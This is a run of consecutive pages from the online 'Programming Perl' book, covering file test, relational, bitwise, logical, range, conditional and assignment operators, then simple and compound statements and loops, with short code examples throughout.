-l | File is a symbolic link.
-p | File is a named pipe (FIFO).
-S | File is a socket.
-b | File is a block special file.
-c | File is a character special file.
-t | Filehandle is opened to a tty.
-u | File has setuid bit set.
-g | File has setgid bit set.
-k | File has sticky bit set.
-T | File is a text file.
-B | File is a binary file (opposite of -T).
-M | Age of file (at startup) in days since modification.
-A | Age of file (at startup) in days since last access.
-C | Age of file (at startup) in days since inode change.

Note that -s/a/b/ does not do a negated substitution. Saying -exp($foo) still works as expected, however--only single letters following a minus are interpreted as file tests.

The interpretation of the file permission operators -r, -R, -w, -W, -x, and -X is based solely on the mode of the file and the user and group IDs of the user. There may be other reasons you can't actually read, write, or execute the file, such as Andrew File System (AFS) access control lists.[3] Also note that for the superuser, -r, -R, -w, and -W always return 1, and -x and -X return 1 if any execute bit is set in the mode. Thus, scripts run by the superuser may need to do a stat in order to determine the actual mode of the file or temporarily set the UID to something else.

[3]You may, however, override the built-in semantics with the use filetest pragma. See Chapter 31, "Pragmatic Modules".

The other file test operators don't care who you are. Anybody can use the test for "regular" files:

while (<>) {
    chomp;
    next unless -f $_;      # ignore "special" files
    ...
}

The -T and -B switches work as follows. The first block or so of the file is examined for strange characters such as control codes or bytes with the high bit set (that don't look like UTF-8). If more than a third of the bytes appear to be strange, it's a binary file; otherwise, it's a text file. Also, any file containing ASCII NUL (\0) in the first block is considered a binary file. If -T or -B is used on a filehandle, the current input (standard I/O or "stdio") buffer is examined rather than the first block of the file. Both -T and -B return true on an empty file, or on a file at EOF (end-of-file) when testing a filehandle. Because Perl has to read a file to do the -T test, you don't want to use -T on special files that might hang or give you other kinds of grief. So on most occasions you'll want to test with a -f first, as in:

next unless -f $file && -T $file;
If any of the file tests (or either the stat or lstat operator) are given the special filehandle consisting of a solitary underline, then the stat structure of the previous file test (or stat operator) is used, thereby saving a system call. (This doesn't work with -t, and you need to remember that lstat and -l will leave values in the stat structure for the symbolic link, not the real file. Likewise, -l _ will always be false after a normal stat.)

Here are a couple of examples:

print "Can do.\n" if -r $a || -w _ || -x _;

stat($filename);
print "Readable\n" if -r _;
print "Writable\n" if -w _;
print "Executable\n" if -x _;
print "Setuid\n" if -u _;
print "Setgid\n" if -g _;

print "Sticky\n" if -k _;
print "Text\n" if -T _;
print "Binary\n" if -B _;

File ages for -M, -A, and -C are returned in days (including fractional days) since the script started running. This time is stored in the special variable $^T ($BASETIME). Thus, if the file changed after the script started, you would get a negative time. Note that most time values (86,399 out of 86,400, on average) are fractional, so testing for equality with an integer without using the int function is usually futile. Examples:

next unless -M $file > .5;      # files are older than 12 hours
&newfile if -M $file < 0;       # file is newer than process
&mailwarning if int(-A) == 90;  # file ($_) was accessed 90 days ago today
To reset the script's start time to the current time, say this:
$^T = time;

Previous | Home | Next
3.9. Shift Operators | Book Index | 3.11. Relational Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Relational Operators (Programming Perl)

 Programming PerlSearch this book

3.11. Relational Operators

Perl has two classes of relational operators. One class operates on numeric values, the other on string values, as shown in Table 3-5.

Table 3.5. Relational Operators

Numeric | String | Meaning
> | gt | Greater than
>= | ge | Greater than or equal to
< | lt | Less than
<= | le | Less than or equal to

These operators return 1 for true and "" for false. Note that relational operators are nonassociating, which means that $a < $b < $c is a syntax error.

In the absence of locale declarations, string comparisons are based on the ASCII/Unicode collating sequences, and, unlike in some computer languages, trailing spaces count in the comparison. With a locale declaration, the collation order specified by the locale is used. (Locale-based collation mechanisms may or may not interact well with the Unicode collation mechanisms currently in development.)

Previous | Home | Next
3.10. Named Unary and File Test Operators | Book Index | 3.12. Equality Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Equality Operators (Programming Perl)

 Programming PerlSearch this book

3.12. Equality Operators

The equality operators listed in Table 3-6 are much like the relational operators.

Table 3.6. Equality Operators

Numeric | String | Meaning
== | eq | Equal to
!= | ne | Not equal to
<=> | cmp | Comparison, with signed result

The equal and not-equal operators return 1 for true and "" for false (just as the relational operators do). The <=> and cmp operators return -1 if the left operand is less than the right operand, 0 if they are equal, and +1 if the left operand is greater than the right. Although the equality operators appear to be similar to the relational operators, they do have a lower precedence level, so $a < $b <=> $c < $d is syntactically valid.

For reasons that are apparent to anyone who has seen Star Wars, the <=> operator is known as the "spaceship" operator.

Previous | Home | Next
3.11. Relational Operators | Book Index | 3.13. Bitwise Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bitwise Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.13. Bitwise Operators

Like C, Perl has bitwise AND, OR, and XOR (exclusive OR) operators: &, |, and ^. You'll have noticed from your painstaking examination of the table at the start of this chapter that bitwise AND has a higher precedence than the others, but we've cheated and combined them in this discussion.

These operators work differently on numeric values than they do on strings. (This is one of the few places where Perl cares about the difference.) If either operand is a number (or has been used as a number), both operands are converted to integers, and the bitwise operation is performed between the two integers. These integers are guaranteed to be at least 32 bits long, but can be 64 bits on some machines. The point is that there's an arbitrary limit imposed by the machine's architecture.

If both operands are strings (and have not been used as numbers since they were set), the operators do bitwise operations between corresponding bits from the two strings. In this case, there's no arbitrary limit, since strings aren't arbitrarily limited in size. If one string is longer than the other, the shorter string is considered to have a sufficient number of 0 bits on the end to make up the difference.

For example, if you AND together two strings:

"123.45" & "234.56"
you get another string:
"020.44"
But if you AND together a string and a number:
"123.45" & 234.56
The string is first converted to a number, giving:
123.45 & 234.56
The numbers are then converted to integers:
123 & 234
which evaluates to 106. Note that all bit strings are true (unless they result in the string "0"). This means if you want to see whether any byte came out to nonzero, instead of writing this:
if ( "fred" & "\1\2\3\4" ) { ... }
you need to write this:
if ( ("fred" & "\1\2\3\4") =~ /[^\0]/ ) { ... }

Previous | Home | Next
3.12. Equality Operators | Book Index | 3.14. C-Style Logical (Short-Circuit) Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


C-Style Logical (Short-Circuit) Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.14. C-Style Logical (Short-Circuit) Operators

Like C, Perl provides the && (logical AND) and || (logical OR) operators. They evaluate from left to right (with && having slightly higher precedence than ||) testing the truth of the statement. These operators are known as short-circuit operators because they determine the truth of the statement by evaluating the fewest number of operands possible. For example, if the left operand of an && operator is false, the right operand is never evaluated because the result of the operator is false regardless of the value of the right operand.

Example | Name | Result
$a && $b | And | $a if $a is false, $b otherwise
$a || $b | Or | $a if $a is true, $b otherwise

Such short circuits not only save time, but are frequently used to control the flow of evaluation. For example, an oft-appearing idiom in Perl programs is:

open(FILE, "somefile") || die "Can't open somefile: $!\n";
In this case, Perl first evaluates the open function. If the value is true (because somefile was successfully opened), the execution of the die function is unnecessary, and so is skipped. You can read this literally as "Open some file or die!"

The && and || operators differ from C's in that, rather than returning 0 or 1, they return the last value evaluated. In the case of ||, this has the delightful result that you can select the first of a series of scalar values that happens to be true. Thus, a reasonably portable way to find out the user's home directory might be:

$home = $ENV{HOME}
     || $ENV{LOGDIR}
     || (getpwuid($<))[7]
     || die "You're homeless!\n";
On the other hand, since the left argument is always evaluated in scalar context, you can't use || for selecting between two aggregates for assignment:
@a = @b || @c;             # This doesn't do the right thing
@a = scalar(@b) || @c;     # because it really means this.
@a = @b ? @b : @c;         # This works fine, though.
Perl also provides lower precedence and and or operators that some people find more readable and don't force you to use parentheses on list operators. They also short-circuit. See Table 3-1 for a complete list.

Previous | Home | Next
3.13. Bitwise Operators | Book Index | 3.15. Range Operator
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Range Operator (Programming Perl)

 Book Home Programming PerlSearch this book

3.15. Range Operator

The .. range operator is really two different operators depending on the context.

In scalar context, .. returns a Boolean value. The operator is bi-stable, like an electronic flip-flop, and emulates the line-range (comma) operator of sed, awk, and various editors. Each scalar .. operator maintains its own Boolean state. It is false as long as its left operand is false. Once the left operand is true, the range operator stays true until the right operand is true, after which the range operator becomes false again. The operator doesn't become false until the next time it is evaluated. It can test the right operand and become false on the same evaluation as the one where it became true (the way awk's range operator behaves), but it still returns true once. If you don't want it to test the right operand until the next evaluation (which is how sed's range operator works), just use three dots (...) instead of two. With both .. and ..., the right operand is not evaluated while the operator is in the false state, and the left operand is not evaluated while the operator is in the true state.

The value returned is either the null string for false or a sequence number (beginning with 1) for true. The sequence number is reset for each range encountered. The final sequence number in a range has the string "E0" appended to it, which doesn't affect its numeric value, but gives you something to search for if you want to exclude the endpoint. You can exclude the beginning point by waiting for the sequence number to be greater than 1. If either operand of scalar .. is a numeric literal, that operand implicitly compared to the $. variable, which contains the current line number for your input file. Examples:

if (101 .. 200) { print; }  # print 2nd hundred lines
next line if (1 .. /^$/);   # skip header lines
s/^/> / if (/^$/ .. eof()); # quote body
In list context, .. returns a list of values counting (by ones) from the left value to the right value. This is useful for writing for (1..10) loops and for doing slice operations on arrays:
for (101 .. 200) { print; }            # prints 101102...199200
@foo = @foo[0 .. $#foo];               # an expensive no-op
@foo = @foo[ -5 .. -1];                # slice last 5 items
If the left value is greater than the right value, a null list is returned. (To produce a list in reverse order, see the reverse operator.)

If its operands are strings, the range operator makes use of the magical autoincrement algorithm discussed earlier.[4] So you can say:

@alphabet = ('A' .. 'Z');
to get all the letters of the (English) alphabet, or:
$hexdigit = (0 .. 9, 'a' .. 'f')[$num & 15];
to get a hexadecimal digit, or:
@z2 = ('01' .. '31');  print $z2[$mday];
to get dates with leading zeros. You can also say:
@combos = ('aa' .. 'zz');
to get all combinations of two lowercase letters. However, be careful of something like:
@bigcombos = ('aaaaaa' .. 'zzzzzz');
since that will require lots of memory. More precisely, it'll need space to store 308,915,776 scalars. Let's hope you allocated a very large swap partition. Perhaps you should consider an iterative approach instead.

[4] If the final value specified is not in the sequence that the magical increment would produce, the sequence continues until the next value is longer than the final value specified.

Previous | Home | Next
3.14. C-Style Logical (Short-Circuit) Operators | Book Index | 3.16. Conditional Operator
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Conditional Operator (Programming Perl)

 Book Home Programming PerlSearch this book

3.16. Conditional Operator

As in C, ?: is the only trinary operator. It's often called the conditional operator because it works much like an if-then-else, except that, since it's an expression and not a statement, it can be safely embedded within other expressions and functions calls. As a trinary operator, its two parts separate three expressions:

COND ? THEN : ELSE
If the condition COND is true, only the THEN expression is evaluated, and the value of that expression becomes the value of the entire expression. Otherwise, only the ELSE expression is evaluated, and its value becomes the value of the entire expression.

Scalar or list context propagates downward into the second or third argument, whichever is selected. (The first argument is always in scalar context, since it's a conditional.)

$a = $ok ? $b : $c;  # get a scalar
@a = $ok ? @b : @c;  # get an array
$a = $ok ? @b : @c;  # get a count of an array's elements
You'll often see the conditional operator embedded in lists of values to format with printf, since nobody wants to replicate the whole statement just to switch between two related values.
printf "I have %d camel%s.\n",
               $n,     $n == 1 ? "" : "s";
Conveniently, the precedence of ?: is higher than a comma but lower than most operators you'd use inside (such as == in this example), so you don't usually have to parenthesize anything. But you can add parentheses for clarity if you like. For conditional operators nested within the THEN parts of other conditional operators, we suggest that you put in line breaks and indent as if they were ordinary if statements:
$leapyear =
    $year % 4 == 0
        ? $year % 100 == 0
            ? $year % 400 == 0
                ? 1
                : 0
            : 1
        : 0;
For conditionals nested within the ELSE parts of earlier conditionals, you can do a similar thing:
$leapyear =
    $year % 4
        ? 0
        : $year % 100
          ? 1
          : $year % 400
            ? 0
            : 1;
but it's usually better to line up all the COND and THEN parts vertically:
$leapyear =
    $year %   4 ? 0 :
    $year % 100 ? 1 :
    $year % 400 ? 0 : 1;
Lining up the question marks and colons can make sense of even fairly cluttered structures:
printf "Yes, I like my %s book!\n",
    $i18n eq "french"   ? "chameau"          :
    $i18n eq "german"   ? "Kamel"            :
    $i18n eq "japanese" ? "\x{99F1}\x{99DD}" :
                          "camel"
You can assign to the conditional operator[5] if both the second and third arguments are legal lvalues (meaning that you can assign to them), and both are scalars or both are lists (otherwise, Perl won't know which context to supply to the right side of the assignment):
($a_or_b ? $a : $b) = $c;  # sets either $a or $b to have the value of $c
Bear in mind that the conditional operator binds more tightly than the various assignment operators. Usually this is what you want (see the $leapyear assignments above, for example), but you can't have it the other way without using parentheses. Using embedded assignments without parentheses will get you into trouble, and you might not get a parse error because the conditional operator can be parsed as an lvalue. For example, you might write this:
$a % 2 ? $a += 10 : $a += 2        # WRONG
But that would be parsed like this:
(($a % 2) ? ($a += 10) : $a) += 2

[5] This is not necessarily guaranteed to contribute to the readability of your program. But it can be used to create some cool entries in an Obfuscated Perl contest.

Previous | Home | Next
3.15. Range Operator | Book Index | 3.17. Assignment Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Assignment Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.17. Assignment Operators

Perl recognizes the C assignment operators, as well as providing some of its own. There are quite a few of them:

=    **=    +=    *=    &=    <<=    &&=
            -=    /=    |=    >>=    ||=
            .=    %=    ^=
                  x=
Each operator requires a target lvalue (typically a variable or array element) on the left side and an expression on the right side. For the simple assignment operator:
TARGET = EXPR
the value of the EXPR is stored into the variable or location designated by TARGET. For the other operators, Perl evaluates the expression:
TARGET OP= EXPR
as if it were written:
TARGET = TARGET OP EXPR
That's a handy mental rule, but it's misleading in two ways. First, assignment operators always parse at the precedence level of ordinary assignment, regardless of the precedence that OP would have by itself. Second, TARGET is evaluated only once. Usually that doesn't matter unless there are side effects, such as an autoincrement:
$var[$a++] += $value;               # $a is incremented once
$var[$a++] = $var[$a++] + $value;   # $a is incremented twice
Unlike in C, the assignment operator produces a valid lvalue. Modifying an assignment is equivalent to doing the assignment and then modifying the variable to which it was assigned. This is useful for modifying a copy of something, like this:
($tmp = $global) += $constant;
which is the equivalent of:
$tmp = $global + $constant;
Likewise:
($a += 2) *= 3;
is equivalent to:
$a += 2;
$a *= 3;
That's not terribly useful, but here's an idiom you see frequently:
($new = $old) =~ s/foo/bar/g;
In all cases, the value of the assignment is the new value of the variable. Since assignment operators associate right-to-left, this can be used to assign many variables the same value, as in:
$a = $b = $c = 0;
which assigns 0 to $c, and the result of that (still 0) to $b, and the result of that (still 0) to $a.

List assignment may be done only with the plain assignment operator, =. In list context, list assignment returns the list of new values just as scalar assignment does. In scalar context, list assignment returns the number of values that were available on the right side of the assignment, as mentioned in Chapter 2, "Bits and Pieces". This makes it useful for testing functions that return a null list when unsuccessful (or no longer successful), as in:

while (($key, $value) = each %gloss) { ... }

next unless ($dev, $ino, $mode) = stat $file;

Previous | Home | Next
3.16. Conditional Operator | Book Index | 3.18. Comma Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Comma Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.18. Comma Operators

Binary "," is the comma operator. In scalar context it evaluates its left argument in void context, throws that value away, then evaluates its right argument in scalar context and returns that value. This is just like C's comma operator. For example:

$a = (1, 3);
assigns 3 to $a. Do not confuse the scalar context use with the list context use. In list context, a comma is just the list argument separator, and inserts both its arguments into the LIST. It does not throw any values away.

For example, if you change the previous example to:

@a = (1, 3);
you are constructing a two-element list, while:
atan2(1, 3);
is calling the function atan2 with two arguments.

The => digraph is mostly just a synonym for the comma operator. It's useful for documenting arguments that come in pairs. It also forces any identifier to its immediate left to be interpreted as a string.

Previous | Home | Next
3.17. Assignment Operators | Book Index | 3.19. List Operators (Rightward)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


List Operators (Rightward) (Programming Perl)

 Programming PerlSearch this book

3.19. List Operators (Rightward)

The right side of a list operator governs all the list operator's arguments, which are comma separated, so the precedence of a list operator is lower than a comma if you're looking to the right. Once a list operator starts chewing up comma-separated arguments, the only things that will stop it are tokens that stop the entire expression (like semicolons or statement modifiers), or tokens that stop the current subexpression (like right parentheses or brackets), or the low precedence logical operators we'll talk about next.

Previous | Home | Next
3.18. Comma Operators | Book Index | 3.20. Logical and, or, not, and xor
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Logical and, or, not, and xor (Programming Perl)

 Book Home Programming PerlSearch this book

3.20. Logical and, or, not, and xor

As lower precedence alternatives to &&, ||, and !, Perl provides the and, or, and not operators. The behavior of these operators is identical--in particular, and and or short-circuit like their counterparts, which makes them useful not only for logical expressions but also for control flow.

Since the precedence of these operators is much lower than the ones borrowed from C, you can safely use them after a list operator without the need for parentheses:

unlink "alpha", "beta", "gamma"
        or gripe(), next LINE;
With the C-style operators you'd have to write it like this:
unlink("alpha", "beta", "gamma")
        || (gripe(), next LINE);
But you can't just up and replace all instances of || with or. Suppose you change this:
$xyz = $x || $y || $z;
to this:
$xyz = $x or $y or $z;    # WRONG
That wouldn't do the same thing at all! The precedence of the assignment is higher than or but lower than ||, so it would always assign $x to $xyz, and then do the ors. To get the same effect as ||, you'd have to write:
$xyz = ( $x or $y or $z );

The moral of the story is that you still must learn precedence (or use parentheses) no matter which variety of logical operators you use.

There is also a logical xor operator that has no exact counterpart in C or Perl, since the only other exclusive-OR operator ((^)) works on bits. The xor operator can't short-circuit, since both sides must be evaluated. The best equivalent for $a xor $b is perhaps !$a != !$b. One could also write !$a ^ !$b or even $a ? !$b : !!$b, of course. The point is that both $a and $b have to evaluate to true or false in a Boolean context, and the existing bitwise operator doesn't provide a Boolean context without help.

Previous | Home | Next
3.19. List Operators (Rightward) | Book Index | 3.21. C Operators Missing from Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


C Operators Missing from Perl (Programming Perl)

 Programming PerlSearch this book

3.21. C Operators Missing from Perl

Here is what C has that Perl doesn't:

unary &

The address-of operator. Perl's \ operator (for taking a reference) fills the same ecological niche, however:

$ref_to_var = \$var;
But Perl references are much safer than C pointers.

unary *

The dereference-address operator. Since Perl doesn't have addresses, it doesn't need to dereference addresses. It does have references though, so Perl's variable prefix characters serve as dereference operators, and indicate type as well: $, @, %, and &. Oddly enough, there actually is a * dereference operator, but since * is the funny character indicating a typeglob, you wouldn't use it the same way.

(TYPE)

The typecasting operator. Nobody likes to be typecast anyway.

Previous | Home | Next
3.20. Logical and, or, not, and xor | Book Index | 4. Statements and Declarations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Statements and Declarations (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 4. Statements and Declarations

Contents:

Simple Statements
Compound Statements
if and unless Statements
Loop Statements
Bare Blocks
goto
Global Declarations
Scoped Declarations
Pragmas

A Perl program consists of a sequence of declarations and statements. A declaration may be placed anywhere a statement may be placed, but its primary effect occurs at compile time. A few declarations do double duty as ordinary statements, but most are totally transparent at run time. After compilation, the main sequence of statements is executed just once.

Unlike many programming languages, Perl doesn't require variables to be explicitly declared; they spring into existence upon their first use, whether you've declared them or not. If you try to use a value from a variable that's never had a value assigned to it, it's quietly treated as 0 when used as a number, as "" (the null string) when used as a string, or simply as false when used as a logical value. If you prefer to be warned about using undefined values as though they were real strings or numbers, or even to treat doing so as an error, the use warnings declaration will take care of that; see the section Section 4.9, "Pragmas" at the end of this chapter.

You may declare your variables though, if you like, using either my or our in front of the variable name. You can even make it an error to use an undeclared variable. This kind of discipline is fine, but you have to declare that you want the discipline. Normally, Perl minds its own business about your programming habits, but under the use strict declaration, the use of undeclared variables is apprehended at compile time. Again, see Section 4.9, "Pragmas".

4.1. Simple Statements

A simple statement is an expression evaluated for its side effects. Every simple statement must end in a semicolon, unless it is the final statement in a block. In that case, the semicolon is optional--Perl knows that you must be done with the statement, since you've finished the block. But put the semicolon in anyway if it's at the end of a multiline block, because you might eventually add another line.

Even though operators like eval {}, do {}, and sub {} all look like compound statements, they really aren't. True, they allow multiple statements on the inside, but that doesn't count. From the outside, those operators are just terms in an expression, and thus they need an explicit semicolon if used as the last item in a statement.

Any simple statement may optionally be followed by a single modifier, just before the terminating semicolon (or block ending). The possible modifiers are:

if EXPR
unless EXPR
while EXPR
until EXPR
foreach LIST
The if and unless modifiers work pretty much as they do in English:
$trash->take('out') if $you_love_me;
shutup() unless $you_want_me_to_leave;

The while and until modifiers evaluate repeatedly. As you might expect, a while modifier keeps executing the expression as long as its expression remains true, and an until modifier keeps executing only as long as it remains false:

$expression++ while -e "$file$expression";
kiss('me') until $I_die;

The foreach modifier (also spelled for) evaluates once for each element in its LIST, with $_ aliased to the current element:

s/java/perl/ for @resumes;
print "field: $_\n" foreach split /:/, $dataline;

The while and until modifiers have the usual while-loop semantics (conditional evaluated first), except when applied to a do BLOCK (or to the now-deprecated do SUBROUTINE statement), in which case the block executes once before the conditional is evaluated. This allows you to write loops like this:

do {
    $line = <STDIN>;
    ...
} until $line eq ".\n";
See the three different do entries in Chapter 29, "Functions". Note also that the loop-control operators described later will not work in this construct, since modifiers don't take loop labels. You can always place an extra block around it to terminate early, or inside it to iterate early, as described later in the section Section 4.5, "Bare Blocks". Or you could write a real loop with multiple loop controls inside. Speaking of real loops, we'll talk about compound statements next.

Previous | Home | Next
3.21. C Operators Missing from Perl | Book Index | 4.2. Compound Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Compound Statements (Programming Perl)

 Book Home Programming PerlSearch this book

4.2. Compound Statements

A sequence of statements within a scope[1] is called a block. Sometimes the scope is the entire file, such as a required file or the file containing your main program. Sometimes the scope is a string being evaluated with eval. But generally, a block is surrounded by braces ({}). When we say scope, we mean any of these three. When we mean a block with braces, we'll use the term BLOCK.

[1]Scopes and namespaces are described in Chapter 2, "Bits and Pieces", in Section 4.5, "Names".

Compound statements are built out of expressions and BLOCKs. Expressions are built out of terms and operators. In our syntax descriptions, we'll use the word EXPR to indicate a place where you can use any scalar expression. To indicate an expression evaluated in list context, we'll say LIST.

The following statements may be used to control conditional and repeated execution of BLOCKs. (The LABEL portion is optional.)

if (EXPR) BLOCK
if (EXPR) BLOCK else BLOCK
if (EXPR) BLOCK elsif (EXPR) BLOCK ...
if (EXPR) BLOCK elsif (EXPR) BLOCK ... else BLOCK

unless (EXPR) BLOCK
unless (EXPR) BLOCK else BLOCK
unless (EXPR) BLOCK elsif (EXPR) BLOCK ...
unless (EXPR) BLOCK elsif (EXPR) BLOCK ... else BLOCK

LABEL while (EXPR) BLOCK
LABEL while (EXPR) BLOCK continue BLOCK

LABEL until (EXPR) BLOCK
LABEL until (EXPR) BLOCK continue BLOCK

LABEL for (EXPR; EXPR; EXPR) BLOCK

LABEL foreach (LIST) BLOCK
LABEL foreach VAR (LIST) BLOCK
LABEL foreach VAR (LIST) BLOCK continue BLOCK

LABEL BLOCK
LABEL BLOCK continue BLOCK
Note that unlike in C and Java, these are defined in terms of BLOCKs, not statements. This means that the braces are required--no dangling statements allowed. If you want to write conditionals without braces there are several ways to do so. The following all do the same thing:
unless (open(FOO, $foo))    { die "Can't open $foo: $!" }
if (!open(FOO, $foo))       { die "Can't open $foo: $!" }

die "Can't open $foo: $!"   unless open(FOO, $foo);
die "Can't open $foo: $!"   if !open(FOO, $foo);

open(FOO, $foo)             || die "Can't open $foo: $!";
open FOO, $foo              or die "Can't open $foo: $!";
Under most circumstances, we tend to prefer the last pair. These forms come with less eye-clutter than the others, especially the "or die" version. With the || form you need to get used to using parentheses religiously, but with the or version, it doesn't matter if you forget.

But the main reason we like the last versions better is because of how they pull the important part of the statement right up to the front of the line where you'll see it first. The error handling is shoved off to the side so that you don't have to pay attention to it unless you want to.[2] If you tab all your "or die" checks over to the same column on the right each time, it's even easier to read:

chdir $dir                  or die "chdir $dir: $!";
open FOO, $file             or die "open $file: $!";
@lines = <FOO>              or die "$file is empty?";
close FOO                   or die "close $file: $!";

[2] (Like this footnote.)

Previous | Home | Next
4.1. Simple Statements | Book Index | 4.3. if and unless Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


if and unless Statements (Programming Perl)

 Book Home Programming PerlSearch this book

4.3. if and unless Statements

The if statement is straightforward. Because BLOCKs are always bounded by braces, there is never any ambiguity regarding which particular if an else or elsif goes with. In any given sequence of if/elsif/else BLOCKs, only the first one whose condition evaluates to true is executed. If none of them is true, then the else BLOCK, if there is one, is executed. It's usually a good idea to put an else at the end of a chain of elsifs to guard against a missed case.

If you use unless in place of if, the sense of its test is reversed. That is:

unless ($x == 1) ...
is equivalent to:
if ($x != 1) ...
or even to the unsightly:
if (!($x == 1)) ...

The scope of a variable declared in the controlling condition extends from its declaration through the rest of that conditional only, including any elsifs and the final else clause if present, but not beyond:

if ((my $color = <STDIN>) =~ /red/i) {
    $value = 0xff0000;
}
elsif ($color =~ /green/i) {
    $value = 0x00ff00;
}
elsif ($color =~ /blue/i) {
    $value = 0x0000ff;
}
else {
    warn "unknown RGB component `$color', using black instead\n";
    $value = 0x000000;
}
After the else, the $color variable is no longer in scope. If you want the scope to extend further, declare the variable beforehand.

Previous | Home | Next
4.2. Compound Statements | Book Index | 4.4. Loop Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Loop Statements (Programming Perl)

 Book Home Programming PerlSearch this book

4.4. Loop Statements

All loop statements have an optional LABEL in their formal syntax. (You can put a label on any statement, but it has a special meaning to a loop.) If present, the label consists of an identifier followed by a colon. It's customary to make the label uppercase to avoid potential confusion with reserved words, and so it stands out better. And although Perl won't get confused if you use a label that already has a meaning like if or open, your readers might.

4.4.1. while and until Statements

The while statement repeatedly executes the block as long as EXPR is true. If the word while is replaced by the word until, the sense of the test is reversed; that is, it executes the block only as long as EXPR remains false. The conditional is still tested before the first iteration, though.

The while or until statement can have an optional extra block: the continue block. This block is executed every time the block is continued, either by falling off the end of the first block or by an explicit next (a loop-control operator that goes to the next iteration). The continue block is not heavily used in practice, but it's in here so we can define the for loop rigorously in the next section.

Unlike the foreach loop we'll see in a moment, a while loop never implicitly localizes any variables in its test condition. This can have "interesting" consequences when while loops use globals for loop variables. In particular, see the section Section 4.11.2, "Line Input (Angle) Operator" in Chapter 2, "Bits and Pieces" for how implicit assignment to the global $_ can occur in certain while loops, along with an example of how to deal with the problem by explicitly localizing $_. For other loop variables, however, it's best to declare them with my, as in the next example.

A variable declared in the test condition of a while or until statement is visible only in the block or blocks governed by that test. It is not part of the surrounding scope. For example:

while (my $line = <STDIN>) {
    $line = lc $line;
}
continue {
    print $line;   # still visible
}
# $line now out of scope here
Here the scope of $line extends from its declaration in the control expression throughout the rest of the loop construct, including the continue block, but not beyond. If you want the scope to extend further, declare the variable before the loop.

4.4.2. for Loops

The three-part for loop has three semicolon-separated expressions within its parentheses. These expressions function respectively as the initialization, the condition, and the re-initialization expressions of the loop. All three expressions are optional (but not the semicolons); if omitted, the condition is always true. Thus, the three-part for loop can be defined in terms of the corresponding while loop. This:

LABEL:
  for (my $i = 1; $i <= 10; $i++) {
      ...
  }
is like this:
{
    my $i = 1;
  LABEL:
    while ($i <= 10) {
        ...
    }

    continue {
        $i++;
    }
}
except that there's not really an outer block. (We just put one there to show how the scope of the my is limited.)

If you want to iterate through two variables simultaneously, just separate the parallel expressions with commas:

for ($i = 0, $bit = 0; $i < 32; $i++, $bit <<= 1) {
    print "Bit $i is set\n" if $mask & $bit;
}
# the values in $i and $bit persist past the loop

Or declare those variables to be visible only inside the for loop:

for (my ($i, $bit) = (0, 1); $i < 32; $i++, $bit <<= 1) {
    print "Bit $i is set\n" if $mask & $bit;
}
# loop's versions of $i and $bit now out of scope
Besides the normal looping through array indices, for can lend itself to many other interesting applications. It doesn't even need an explicit loop variable. Here's one example that avoids the problem you get when you explicitly test for end-of-file on an interactive file descriptor, causing your program to appear to hang.
$on_a_tty = -t STDIN && -t STDOUT;
sub prompt { print "yes? " if $on_a_tty }
for ( prompt(); <STDIN>; prompt() ) {
    # do something
}

Another traditional application for the three-part for loop results from the fact that all three expressions are optional, and the default condition is true. If you leave out all three expressions, you have written an infinite loop:

for (;;) {
    ...
}
This is the same as writing:
while (1) {
    ...
}

If the notion of infinite loops bothers you, we should point out that you can always fall out of the loop at any point with an explicit loop-control operator such as last. Of course, if you're writing the code to control a cruise missile, you may not actually need an explicit loop exit. The loop will be terminated automatically at the appropriate moment.[3]

[3] That is, the fallout from the loop tends to occur automatically.

4.4.3. foreach Loops

The foreach loop iterates over a list of values by setting the control variable (VAR) to each successive element of the list:

foreach VAR (LIST) {
    ...
}

The foreach keyword is just a synonym for the for keyword, so you can use foreach and for interchangeably, whichever you think is more readable in a given situation. If VAR is omitted, the global $_ is used. (Don't worry--Perl can easily distinguish for (@ARGV) from for ($i=0; $i<$#ARGV; $i++) because the latter contains semicolons.) Here are some examples:

$sum = 0; foreach $value (@array) { $sum += $value }

for $count (10,9,8,7,6,5,4,3,2,1,'BOOM') {  # do a countdown
    print "$count\n"; sleep(1);
}

for (reverse 'BOOM', 1 .. 10) {             # same thing
    print "$_\n"; sleep(1);
}

for $field (split /:/, $data) {             # any LIST expression
    print "Field contains: `$field'\n";
}

foreach $key (sort keys %hash) {
    print "$key => $hash{$key}\n";
}

That last one is the canonical way to print out the values of a hash in sorted order. See the keys and sort entries in Chapter 29, "Functions" for more elaborate examples.

There is no way with foreach to tell where you are in a list. You may compare adjacent elements by remembering the previous one in a variable, but sometimes you just have to break down and write a three-part for loop with subscripts. That's what the other kind of for loop is there for, after all.

If LIST consists entirely of assignable values (meaning variables, generally, not enumerated constants), you can modify each of those variables by modifying VAR inside the loop. That's because the foreach loop index variable is an implicit alias for each item in the list that you're looping over. Not only can you modify a single array in place, you can also modify multiple arrays and hashes in a single list:

foreach $pay (@salaries) {               # grant 8% raises
    $pay *= 1.08;
}

for (@christmas, @easter) {              # change menu
    s/ham/turkey/;
}
s/ham/turkey/ for @christmas, @easter;   # same thing

for ($scalar, @array, values %hash) {
    s/^\s+//;                            # strip leading  whitespace
    s/\s+$//;                            # strip trailing whitespace
}

